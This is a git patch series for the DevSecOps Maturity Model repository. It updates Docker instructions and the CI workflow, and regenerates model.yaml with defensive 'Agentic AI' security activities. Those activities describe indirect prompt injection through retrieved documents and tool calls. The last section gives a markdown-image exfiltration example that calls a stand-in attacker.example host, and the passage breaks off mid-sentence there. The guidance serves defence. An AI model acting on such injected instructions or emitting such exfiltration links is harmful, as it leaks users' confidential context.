From d183c9876933037e2e71bca546cb13516d26bf60 Mon Sep 17 00:00:00 2001 From: Timo Pagel Date: Tue, 5 May 2026 10:18:28 +0200 Subject: [PATCH 01/12] code freeze code freeze --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index a171b0f36..40c908d78 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,6 @@ +# CODE FREEZE +Due to a version update of Angular from 13 to the newest version, no features/PRs are getting merged until *August 2026*. + # Introduction From a startup to a multinational corporation the software development industry is currently dominated by agile frameworks and product teams and as part of it DevOps strategies. It has been observed that during the implementation, security aspects are usually neglected or are at least not sufficient taken account of. It is often the case that standard safety requirements of the production environment are not utilized or applied to the build pipeline in the continuous integration environment with containerization or concrete docker. Therefore, the docker registry is often not secured which might result in the theft of the entire company’s source code. From 5bb123218c32a75cb76b16212e0260a568ac648d Mon Sep 17 00:00:00 2001 From: Timo Pagel Date: Thu, 14 May 2026 08:26:22 +0200 Subject: [PATCH 02/12] Update dependabot.yml --- .github/dependabot.yml | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 9060b7d91..f47cb703a 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -3,13 +3,13 @@ # Please see the documentation for all configuration options: # https://docs.github.com/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file -version: 2 -updates: - - package-ecosystem: "npm" - directory: "/" - schedule: - interval: "weekly" - - package-ecosystem: "docker" - directory: "/" - schedule: - interval: "weekly" +# version: 2 +# updates: +# - package-ecosystem: "npm" +# directory: "/" +# schedule: +# interval: "weekly" +# - package-ecosystem: "docker" +# directory: "/" +# schedule: +# interval: "weekly" From 89d1a65372409b67d392182f1ce3a6dae01236cb Mon Sep 17 00:00:00 2001 From: Timo Pagel Date: Fri, 5 Jun 2026 13:13:30 +0200 Subject: [PATCH 03/12] feat: add changelog --- .github/workflows/main.yml | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 36df3ea46..d1d3f080f 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -20,15 +20,23 @@ jobs: with: persist-credentials: false # This is important if you have branch protection rules! - name: Semantic Release + id: semantic uses: cycjimmy/semantic-release-action@v4 with: branch: 'main' + extra_plugins: | + @semantic-release/changelog env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Get Semantic Release Version id: get-version run: | - echo "::set-output name=version::$(grep -oP '\[\d+\.\d+\.\d+\]' CHANGELOG.md | tr -d '[]')" + version="${{ steps.semantic.outputs.new_release_version }}" + if [ -z "$version" ]; then + # No new release in this run (e.g. scheduled build) -> fall back to latest tag + version="$(git describe --tags --abbrev=0 2>/dev/null | sed 's/^v//')" + fi + echo "version=${version}" >> "$GITHUB_OUTPUT" - name: show version run: | From d09012c5cc0298a42dd0714e1c9cc5f62921de97 Mon Sep 17 00:00:00 2001 From: David Pache Date: Fri, 5 Jun 2026 19:55:10 +0200 Subject: [PATCH 04/12] docs(README): remove `generated.yaml`-references and update docker instructions --- README.md | 118 ++++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 84 insertions(+), 34 deletions(-) diff --git a/README.md b/README.md index 40c908d78..0ca1effc1 100644 --- a/README.md +++ b/README.md @@ -61,22 +61,67 @@ In case you would like to perform a DevSecOps assessment, the following tools ar ## Container 1. Install [Docker](https://www.docker.com) -2. Run `docker pull wurstbrot/dsomm:latest && docker run --rm -p 8080:8080 wurstbrot/dsomm:latest` +2. Run + ```bash + docker pull wurstbrot/dsomm:latest && docker run --rm -p 8080:8080 wurstbrot/dsomm:latest + ``` 3. Browse to (on macOS and Windows browse to if you are using docker-machine instead of the native docker installation) -For customized DSOMM, take a look at https://github.com/wurstbrot/DevSecOps-MaturityModel-custom. +For customized DSOMM, take a look at https://github.com/wurstbrot/DevSecOps-MaturityModel-custom. -You can download your current state from the circular heatmap and mount it again via +### Use the latest model data ```bash -wget https://raw.githubusercontent.com/devsecopsmaturitymodel/DevSecOps-MaturityModel-data/main/src/assets/YAML/generated/generated.yaml # or go to /circular-heatmap and download edited yaml (bottom right) -docker run -p 8080:8080 -v /tmp/generated.yaml:/srv/assets/YAML/generated/generated.yaml wurstbrot/dsomm:latest +wget https://raw.githubusercontent.com/devsecopsmaturitymodel/DevSecOps-MaturityModel-data/refs/heads/main/generated/model.yaml +docker run -p 8080:8080 -v "$PWD/model.yaml:/srv/assets/YAML/default/model.yaml" wurstbrot/dsomm:latest ``` -. - -This approach also allows teams to perform self assessment with changes tracked in a repository. +If the old model version is still referenced, clear your browser cache! + +### Download and upload the current state + +1. Go to `/circular-heatmap`. +2. Download team progress and team evidence via buttons in the bottom-right. +3. Mount the downloaded YAML-files in the container: + ```bash + docker run -p 8080:8080 \ + -v "$PWD/team-evidence.yaml:/srv/assets/YAML/team-evidence.yaml" \ + -v "$PWD/team-progress.yaml:/srv/assets/YAML/team-progress.yaml" \ + wurstbrot/dsomm:latest + ``` +This approach also allows teams to perform self-assessment with changes tracked in a repository. + +### Docker Compose + +You can also track everything in a repository with a `docker compose` setup. + +1. Ensure all files you want to track are present (`model.yaml`, `meta.yaml`, etc.). +2. Create the compose.yaml. For example: + ```yaml + # compose.yaml + services: + dsomm: + image: wurstbrot/dsomm:latest + container_name: dsomm + ports: + - "8080:8080" + volumes: + # uncomment the following line to add a modified meta.yaml (see: https://github.com/devsecopsmaturitymodel/DevSecOps-MaturityModel#teams-and-groups) + # - ./meta.yaml:/srv/assets/YAML/meta.yaml + - ./model.yaml:/srv/assets/YAML/default/model.yaml + - ./team-evidence.yaml:/srv/assets/YAML/team-evidence.yaml + - ./team-progress.yaml:/srv/assets/YAML/team-progress.yaml + # add other files if needed + ``` +3. Start the service: + ```bash + docker compose up -d + ``` +4. Stop the service and delete the container: + ```bash + docker compose down + ``` ## Amazon EC2 Instance @@ -96,26 +141,23 @@ service docker start docker run -d -p 80:8080 wurstbrot/dsomm:latest ``` -## Generating the `generated.yaml` File - -The `generated.yaml` file is dynamically created during the build process. If you don’t see this file after setup, follow these steps to generate it: +## Generating the `model.yaml` file -**1. Clone the Required Repository:** -The `generated.yaml` file is built via the DevSecOps-MaturityModel-data repository. Make sure you have cloned and set it up correctly. +The `model.yaml` file is dynamically created during the build process. If you don’t see this file after setup, follow these steps to generate it: -**2. Run the Build Command:** -Navigate to the project directory and run the following command: -- *Using npm:* +1. **Clone the Required Repository:** + The `model.yaml` file is built via the [DevSecOps-MaturityModel-data repository](https://github.com/devsecopsmaturitymodel/DevSecOps-MaturityModel-data). Make sure you have cloned and set it up correctly. -```sh -npm run build -```` - -- *Using yarn:* - -```sh -yarn build -``` +2. **Run the Build Command:** + Navigate to the project directory and run the following command: + - Using `npm`: + ```bash + npm run build + ``` + - Using `yarn`: + ```bash + yarn build + ``` *If the file is missing, ensure all dependencies are installed and that you have the correct access to the `DevSecOps-MaturityModel-data` repository.* @@ -123,7 +165,8 @@ yarn build The definition of the activities are in the [data-repository](https://github.com/devsecopsmaturitymodel/DevSecOps-MaturityModel-data). ## Teams and Groups -To customize these teams, you can create your own [meta.yaml](src/assets/YAML/meta.yaml) file with your unique team definitions. + +To customize these teams, you can create your own [meta.yaml](src/assets/YAML/meta.yaml) file with your unique team definitions. Assessments within the framework can be based on either a team or a specific application, which can be referred to as the context. Depending on how you define the context or teams, you may want to group them together. @@ -132,21 +175,27 @@ Here are a couple of examples to illustrate this, in breakers the DSOMM word: - Multiple teams (teams) can belong to a larger department (group). Feel free to create your own [meta.yaml](src/assets/YAML/meta.yaml) file to tailor the framework to your specific needs and mount it in your environment (e.g. kubernetes or docker). + Here is an example to start docker with customized meta.yaml: -``` + +```bash # Customized meta.yaml cp src/assets/YAML/meta.yaml . -docker run -v $(pwd)/meta.yaml:/srv/assets/YAML/meta.yaml -p 8080:8080 wurstbrot/dsomm +docker run -v "$PWD/meta.yaml:/srv/assets/YAML/meta.yaml" -p 8080:8080 wurstbrot/dsomm -# Customized meta.yaml and generated.yaml +# Customized meta.yaml and model.yaml cp src/assets/YAML/meta.yaml . -cp $(pwd)/src/assets/YAML/generated/generated.yaml . -docker run -v $(pwd)/meta.yaml:/srv/assets/YAML/meta.yaml -v $(pwd)/generated.yaml:/srv/assets/YAML/generated/generated.yaml -p 8080:8080 wurstbrot/dsomm +cp "$PWD/src/assets/YAML/generated/model.yaml" . +docker run \ + -v "$PWD/meta.yaml:/srv/assets/YAML/meta.yaml" \ + -v "$PWD/model.yaml:/srv/assets/YAML/default/model.yaml" \ + -p 8080:8080 wurstbrot/dsomm ``` In the corresponding [dimension YAMLs](https://github.com/devsecopsmaturitymodel/DevSecOps-MaturityModel-data/tree/main/src/assets/YAML/default), use: -``` -[...] + +```yaml +#[...] teamsImplemented: Default: false B: true @@ -159,7 +208,8 @@ In the corresponding [dimension YAMLs](https://github.com/devsecopsmaturitymodel _2025-04-01:_ All fixes of **critical** findings are deployed to production. ``` -The `|` is yaml syntax to indicate that the evidence spans multiple lines. Markdown + +The `|` is YAML syntax to indicate that the evidence spans multiple lines. Markdown syntax can be used. The evidence is currently visible on the activity from the Matrix page. # Back link From a6949daa456a31e19291ff97e69f543b7447d772 Mon Sep 17 00:00:00 2001 From: David Pache Date: Sun, 7 Jun 2026 13:21:08 +0200 Subject: [PATCH 05/12] feat(docker): add compose.yaml --- README.md | 24 ++++++------------------ compose.yaml | 14 ++++++++++++++ 2 files changed, 20 insertions(+), 18 deletions(-) create mode 100644 compose.yaml diff --git a/README.md b/README.md index 0ca1effc1..8e8a235b9 100644 --- a/README.md +++ b/README.md @@ -97,28 +97,16 @@ This approach also allows teams to perform self-assessment with changes tracked You can also track everything in a repository with a `docker compose` setup. 1. Ensure all files you want to track are present (`model.yaml`, `meta.yaml`, etc.). -2. Create the compose.yaml. For example: - ```yaml - # compose.yaml - services: - dsomm: - image: wurstbrot/dsomm:latest - container_name: dsomm - ports: - - "8080:8080" - volumes: - # uncomment the following line to add a modified meta.yaml (see: https://github.com/devsecopsmaturitymodel/DevSecOps-MaturityModel#teams-and-groups) - # - ./meta.yaml:/srv/assets/YAML/meta.yaml - - ./model.yaml:/srv/assets/YAML/default/model.yaml - - ./team-evidence.yaml:/srv/assets/YAML/team-evidence.yaml - - ./team-progress.yaml:/srv/assets/YAML/team-progress.yaml - # add other files if needed +2. Copy the upstream compose.yaml: + ```bash + wget https://raw.githubusercontent.com/devsecopsmaturitymodel/DevSecOps-MaturityModel/refs/heads/main/compose.yaml ``` -3. Start the service: +3. Edit the file if necessary. +4. Start the service: ```bash docker compose up -d ``` -4. Stop the service and delete the container: +5. Stop the service and delete the container: ```bash docker compose down ``` diff --git a/compose.yaml b/compose.yaml new file mode 100644 index 000000000..a564d4e79 --- /dev/null +++ b/compose.yaml @@ -0,0 +1,14 @@ +services: + dsomm: + image: wurstbrot/dsomm:latest + container_name: dsomm + ports: + - "8080:8080" + volumes: + ## uncomment the following line to add a modified meta.yaml + ## (see: https://github.com/devsecopsmaturitymodel/DevSecOps-MaturityModel#teams-and-groups) + # - ./meta.yaml:/srv/assets/YAML/meta.yaml + - ./model.yaml:/srv/assets/YAML/default/model.yaml + - ./team-evidence.yaml:/srv/assets/YAML/team-evidence.yaml + - ./team-progress.yaml:/srv/assets/YAML/team-progress.yaml + ## add other files if needed From 698e879b5684a55bf0e814b415463cbab22595f4 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 27 Apr 2026 21:26:35 +0000 Subject: [PATCH 06/12] Bump wurstbrot/dsomm-yaml-generation from 4.2.0 to 4.3.1 Bumps wurstbrot/dsomm-yaml-generation from 4.2.0 to 4.3.1. --- updated-dependencies: - dependency-name: wurstbrot/dsomm-yaml-generation dependency-version: 4.3.1 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 720328135..55726000a 100644 --- a/Dockerfile +++ b/Dockerfile @@ -19,7 +19,7 @@ RUN mkdir -p /usr/src/app/dist/dsomm/assets && \ echo "branch: \"${GIT_BRANCH:-unknown}\"" >> /usr/src/app/dist/dsomm/assets/build-info.yaml -FROM wurstbrot/dsomm-yaml-generation:4.2.0 AS yaml +FROM wurstbrot/dsomm-yaml-generation:4.3.1 AS yaml FROM caddy:2.10.2 ENV PORT=8080 From 6306856825f47aa7fa4c8da58f397a460c969894 Mon Sep 17 00:00:00 2001 From: Timo Pagel Date: Tue, 18 Aug 2026 12:55:39 +0200 Subject: [PATCH 07/12] update dsomm-yaml-generation --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 55726000a..6fc004fb0 100644 --- a/Dockerfile +++ b/Dockerfile @@ -19,7 +19,7 @@ RUN mkdir -p /usr/src/app/dist/dsomm/assets && \ echo "branch: \"${GIT_BRANCH:-unknown}\"" >> /usr/src/app/dist/dsomm/assets/build-info.yaml -FROM wurstbrot/dsomm-yaml-generation:4.3.1 AS yaml +FROM wurstbrot/dsomm-yaml-generation:5.0.0 AS yaml FROM caddy:2.10.2 ENV PORT=8080 From fac4280d48bc18e3fb08670137feaee44dc70f46 Mon Sep 17 00:00:00 2001 From: sawankshrma Date: Tue, 18 Aug 2026 17:38:48 +0530 Subject: [PATCH 08/12] chore: regenerate model.yaml from dsomm-yaml-generation:5.0.0 Ran docker pull wurstbrot/dsomm-yaml-generation:5.0.0 docker create --name tmp-yaml wurstbrot/dsomm-yaml-generation:5.0.0 docker cp tmp-yaml:/var/www/html/generated/model.yaml src/assets/YAML/default/model.yaml docker rm tmp-yaml --- src/assets/YAML/default/model.yaml | 5595 ++++++++++++++++++++++++++-- 1 file changed, 5233 insertions(+), 362 deletions(-) diff --git a/src/assets/YAML/default/model.yaml b/src/assets/YAML/default/model.yaml index cc325f28f..6023e3dd2 100644 --- a/src/assets/YAML/default/model.yaml +++ b/src/assets/YAML/default/model.yaml @@ -1,9 +1,4530 @@ --- meta: - version: 4.1.0 - released: "2026-01-28" + version: 5.0.0 + released: "2026-08-18" publisher: https://github.com/devsecopsmaturitymodel/DevSecOps-MaturityModel-data --- +Agentic AI: + Data Protection: + Basic data leak prevention: + uuid: dc62d384-0b9c-47d9-b7a5-9d82e53642ba + description: |- + Data shared with AI tools (prompts, attached files, repository content) may + leave the organization and may be stored or used for model training by the + provider. Basic data leak prevention defines what may be shared with which + tool and uses contractual and technical provider settings to protect it. + risk: |- + Developers paste secrets, personal data or confidential source code into AI + tools. The data is processed by third parties, potentially stored, used for + training or leaked in a provider breach. + measure: |- + Define which data classes may be used with which AI tools. If a commercial AI is used, use AI + offerings with training opt-out and data retention agreements. Train + employees to keep secrets and personal data out of prompts. + dependsOn: + - a511a9a9-1b75-4dfd-8a4f-e516e8096150 # AI usage policy + assessment: | + - Show the definition of which data classes may be used with which AI tools. + - Show the enterprise agreements or provider settings (training opt-out, data retention). + - Show the training or awareness material that tells employees to keep secrets and personal data out of prompts. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - data-protection + implementation: + - uuid: 3769fa07-ae91-4110-bdc1-48bb704461c1 + name: 'OWASP AISVS C01: Training Data Integrity and Traceability' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C01-Training-Data-Integrity-and-Traceability.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C01: Training Data Integrity and Traceability. + - uuid: e72ce764-f9d1-401f-9a5e-2897314e4083 + name: 'OWASP AISVS C08: Memory, Embeddings and Vector Database Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C08-Memory-Embeddings-and-Vector-Database.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C08: Memory, Embeddings and Vector Database Security. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 8.2.3 + - 13.2.4 + iso27001-2022: + - 5.1 + - 5.14 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Basic%20data%20leak%20prevention + comments: "" + Input validation for AI systems: + uuid: 0012e51c-a068-4549-a4d5-d1957b52676f + description: |- + Everything that enters a model context is input: user prompts, but + also documents retrieved via retrieval-augmented generation (RAG), + web content, source code, issues and tool results. Prompt injection prevention treats all of it as untrusted data + and validates or constrains it before the model processes it. + risk: |- + Attacker-controlled content (e.g. a hidden instruction in a retrieved + document, web page or code comment) is interpreted as an instruction by the + model. The attacker overrides the system prompt, extracts confidential + context or triggers unintended tool calls ([indirect prompt injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/#:~:text=triggers%20unexpected%20behavior).-,Indirect%20Prompt%20Injections,-Indirect%20prompt%20injections)). + measure: |- + Validate and constrain all input entering the model context: separate + instructions from data in prompt templates, sanitize or annotate untrusted + content, restrict input length and format where possible and use guardrail + filters that detect known injection patterns before the model call. + assessment: | + - Show prompt templates that separate instructions from untrusted data. + - Show the guardrail or filter configuration applied before the model call and a test where a known injection pattern is detected. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 5 + level: 3 + tags: + - ai + - data-protection + - input-validation + implementation: + - uuid: 61e944f5-fa0d-4deb-92b9-c5e77d8fd27a + name: 'OWASP AISVS C02: Input Validation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C02-Input-Validation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C02: Input Validation. + - uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: + - ai + - documentation + - threat + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: 498456d3-815a-4f57-84c2-81dcb97a4cb8 + name: LLM Guard + tags: + - ai + - data-protection + - guardrails + url: https://github.com/protectai/llm-guard + description: |- + Open-source toolkit that scans LLM prompts and outputs with pluggable + scanners, e.g. secrets detection, PII anonymization, prompt injection + detection and toxicity filtering. + - uuid: cbcc6ee0-f7db-4fea-8eb5-d6526e97924e + name: Lakera Guard + tags: + - ai + - data-protection + - guardrails + - commercial + url: https://www.lakera.ai/ + description: |- + Commercial guardrail API that screens LLM inputs and outputs for prompt + injection, PII and data leakage in real time. + - uuid: 9b4ca932-004e-4e1f-8589-770393765bd3 + name: NVIDIA NeMo Guardrails + tags: + - ai + - guardrails + - input-validation + url: https://github.com/NVIDIA/NeMo-Guardrails + description: |- + Open-source toolkit for programmable guardrails on LLM applications: + input/output rails for prompt injection and jailbreak detection, topic + restrictions and policy enforcement around model calls. + - uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: + - ai + - guardrails + - gateway + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + - uuid: d90fefc9-4e5d-420f-ac87-eeb165bf0ee6 + name: truffleHog + tags: [] + url: https://github.com/trufflesecurity/trufflehog + - uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: + - ai + - documentation + - threat + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Input%20validation%20for%20AI%20systems + comments: "" + Automated data leak detection for AI interactions: + uuid: 8d5ce64e-ebf0-45ab-93cb-d592287e3023 + description: |- + Technical controls (e.g. AI gateways/proxies, secret scanners on prompts, + DLP filters) automatically detect and block sensitive data such as secrets, + access tokens and personal data before it is sent to external AI services. + + Typical setup: route all model traffic through an LLM gateway (e.g. + LiteLLM Proxy) and attach scanners as guardrail hooks, such as + Presidio for PII redaction and LLM Guard or trufflehog-style secret + detectors for credentials. Commercial alternatives with managed AI-DLP include + Nightfall AI, Prompt Security, Lakera Guard and the GenAI-DLP features + of CASB/SSE platforms (e.g. Netskope, Zscaler). + risk: |- + Policies and awareness alone do not prevent accidental leaks. A single pasted + production credential or customer data set in a prompt can lead to a + compromise or a privacy violation. + measure: |- + Route traffic to external AI services through a gateway that scans prompts + and attachments for secrets and personal data, blocks or redacts findings + and provides an audit trail of AI tool usage. + dependsOn: + - dc62d384-0b9c-47d9-b7a5-9d82e53642ba # Basic data leak prevention + assessment: | + - Show the gateway or proxy through which traffic to external AI services flows and its scanner configuration. + - Demonstrate that a test secret or test personal data in a prompt is blocked or redacted. + - Show the audit trail of AI tool usage. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 3 + usefulness: 4 + level: 4 + tags: + - ai + - data-protection + implementation: + - uuid: 0d958256-b3ed-4a13-a3dc-d8b1f153c309 + name: 'OWASP AISVS C12: Monitoring, Logging and Anomaly Detection' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C12-Monitoring-and-Logging.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C12: Monitoring, Logging and Anomaly Detection. + - uuid: 47b4ba95-a6da-4493-94c2-829e9d47b612 + name: LiteLLM Proxy (AI Gateway) + tags: + - ai + - data-protection + - gateway + url: https://github.com/BerriAI/litellm + description: |- + Open-source LLM gateway that routes all model traffic through one proxy + with per-team API keys, audit logging and guardrail hooks (e.g. Presidio + PII masking, secret detection) applied to every request. + - uuid: 498456d3-815a-4f57-84c2-81dcb97a4cb8 + name: LLM Guard + tags: + - ai + - data-protection + - guardrails + url: https://github.com/protectai/llm-guard + description: |- + Open-source toolkit that scans LLM prompts and outputs with pluggable + scanners, e.g. secrets detection, PII anonymization, prompt injection + detection and toxicity filtering. + - uuid: 240d6d9e-fcf7-422e-bbbb-ef9d820261da + name: Presidio + tags: + - ai + - data-protection + - pii + url: https://github.com/microsoft/presidio + description: |- + Open-source PII detection and de-identification: recognizes and redacts + personal data (names, credit cards, national IDs, custom entities) in text + before it is sent to external AI services. + - uuid: d90fefc9-4e5d-420f-ac87-eeb165bf0ee6 + name: truffleHog + tags: [] + url: https://github.com/trufflesecurity/trufflehog + - uuid: 0a7101ff-dc29-43b0-b9f0-ccbc75dd0f74 + name: Nightfall AI + tags: + - ai + - data-protection + - commercial + url: https://www.nightfall.ai/ + description: |- + Commercial AI-native DLP platform that detects and redacts secrets and + personal data in prompts and AI tool usage (e.g. browser plugins, APIs, + SaaS integrations). + - uuid: 6286d7cb-5c99-4cfb-8239-ff9860eaa148 + name: Prompt Security + tags: + - ai + - data-protection + - commercial + url: https://www.prompt.security/ + description: |- + Commercial platform that inspects employee and application AI traffic for + data leakage, prompt injection and shadow-AI usage. + - uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: + - ai + - guardrails + - gateway + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + - uuid: cbcc6ee0-f7db-4fea-8eb5-d6526e97924e + name: Lakera Guard + tags: + - ai + - data-protection + - guardrails + - commercial + url: https://www.lakera.ai/ + description: |- + Commercial guardrail API that screens LLM inputs and outputs for prompt + injection, PII and data leakage in real time. + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 13.2.3 + iso27001-2022: + - 8.12 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Automated%20data%20leak%20detection%20for%20AI%20interactions + comments: "" + Hallucination detection for AI responses: + uuid: 51a63793-c2c5-4438-bfd6-b7dee604a76d + description: |- + Distinct from output encoding (a security control against malicious + output, see _Secure output handling in AI applications_), this activity + addresses correctness: model output can be confidently wrong, with + fabricated facts, citations, URLs, API endpoints and identifiers. + Hallucinations become a security problem when downstream components + or users trust them: hallucinated links and package names can be + registered by attackers, fabricated identifiers corrupt data, invented + facts drive wrong decisions. Applies to AI features the organization + ships. + + Practical layers, ordered by effort: + + 1. **Constrain generation**: prefer retrieval-augmented generation + over free generation for factual answers and instruct the model + to answer only from the provided sources and to say "I don't + know" otherwise. + 2. **Groundedness rails**: fact-checking rails compare each claim in + the response against the retrieved source passages and block or + flag unsupported claims (NeMo Guardrails fact-check rail, + Guardrails AI provenance/grounding validators). + 3. **Existence checks**: mechanically verify artifacts the model + emits before they are shown or used. Do referenced URLs resolve, + do cited documents exist in the knowledge base, do emitted API + endpoints and identifiers exist in the target system? + 4. **Citations and confidence**: require source citations in + user-facing answers and display them, so users can verify claims; + route ungrounded or low-confidence answers to a human fallback. + 5. **Regression testing**: track hallucination rates with an + evaluation suite (e.g. promptfoo) over prompt, model and + guardrail changes. + risk: |- + Users and downstream systems act on fabricated AI content: they follow + hallucinated URLs that attackers have registered, store invented + identifiers, or make decisions based on confidently presented false + facts, all without any attacker involvement in the prompt. + measure: |- + Validate the factual grounding of AI responses before they are trusted: + check claims against the retrieved sources in retrieval-augmented + generation (RAG) systems, require and + verify citations, verify that emitted URLs, API endpoints and + identifiers exist, and route low-confidence or ungrounded answers to a + human or suppress them. + dependsOn: + - 24990a5e-b0e6-4e2c-b06b-4e9f0d6f7b21 # Secure output handling in AI applications + assessment: | + - Show the groundedness or fact-checking configuration and citations in user-facing answers. + - Show the existence checks for emitted URLs, API endpoints and identifiers. + - Show evaluation results tracking the hallucination rate over prompt, model and guardrail changes. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 3 + level: 4 + tags: + - ai + - data-protection + implementation: + - uuid: 9b4ca932-004e-4e1f-8589-770393765bd3 + name: NVIDIA NeMo Guardrails + tags: + - ai + - guardrails + - input-validation + url: https://github.com/NVIDIA/NeMo-Guardrails + description: |- + Open-source toolkit for programmable guardrails on LLM applications: + input/output rails for prompt injection and jailbreak detection, topic + restrictions and policy enforcement around model calls. + - uuid: 504b5f6c-74e6-4ea7-9480-537284c00b57 + name: Guardrails AI + tags: + - ai + - guardrails + - output-validation + url: https://github.com/guardrails-ai/guardrails + description: |- + Open-source framework that validates LLM output against schemas and + validators (e.g. no secrets/PII, valid JSON, policy compliance) and + triggers re-asks or corrective actions on violations. + - uuid: c323c3c8-cc9c-4620-9ea7-dbc69c3112ca + name: promptfoo + tags: + - ai + - red-teaming + - testing + url: https://github.com/promptfoo/promptfoo + description: |- + Test framework for LLM applications with automated red teaming + (prompt injection, jailbreaks, PII leakage) and CI integration for + regression testing of prompts, models and guardrails. + - uuid: fd952d90-dec8-4bbd-848d-9203b33c35d8 + name: 'OWASP AISVS C07: Model Behavior, Output Control and Safety Assurance' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C07-Model-Behavior.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C07: Model Behavior, Output Control and Safety Assurance. + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Hallucination%20detection%20for%20AI%20responses + comments: "" + Secure output handling in AI applications: + uuid: 24990a5e-b0e6-4e2c-b06b-4e9f0d6f7b21 + description: |- + Model output is attacker-influenceable: prompt injection can make an + AI feature emit script tags, shell commands or malicious tool calls. + If the application renders or executes such responses unvalidated, + classic attacks (cross-site scripting, command and SQL injection) + reach their sinks through a new path. Model responses must therefore + be treated like user input. The sink-side controls are already defined + in OWASP DSOMM [Context-aware output encoding](/activity-description?uuid=e1f37abb-d848-4a3a-b3df-65e91a89dcb7); this activity applies them to the + AI features the organization ships (chat UIs, retrieval-augmented + generation (RAG) features, tool-calling agents) and adds the + AI-specific controls: strict markdown rendering, schema enforcement + for tool calls and output guardrails. + + The core of this activity is a reference: model responses are + untrusted data, and the sink-side controls are already defined in + [Context-aware output encoding](/activity-description?uuid=e1f37abb-d848-4a3a-b3df-65e91a89dcb7) (Implementation, Application + Hardening): safe framework bindings, encoding libraries, + parameterized APIs, Content Security Policy. Apply them to model + output exactly as to user input. + + AI-specific additions on top of it: + + - **Markdown rendering in chat UIs**: render with inline HTML + disabled (e.g. `markdown-it` with `html: false`) plus an + allow-list HTML sanitizer (e.g. DOMPurify). Markdown links and + images are a data exfiltration channel: An injected + `![](https://attacker.example/?d=)` leaks context data on + render without 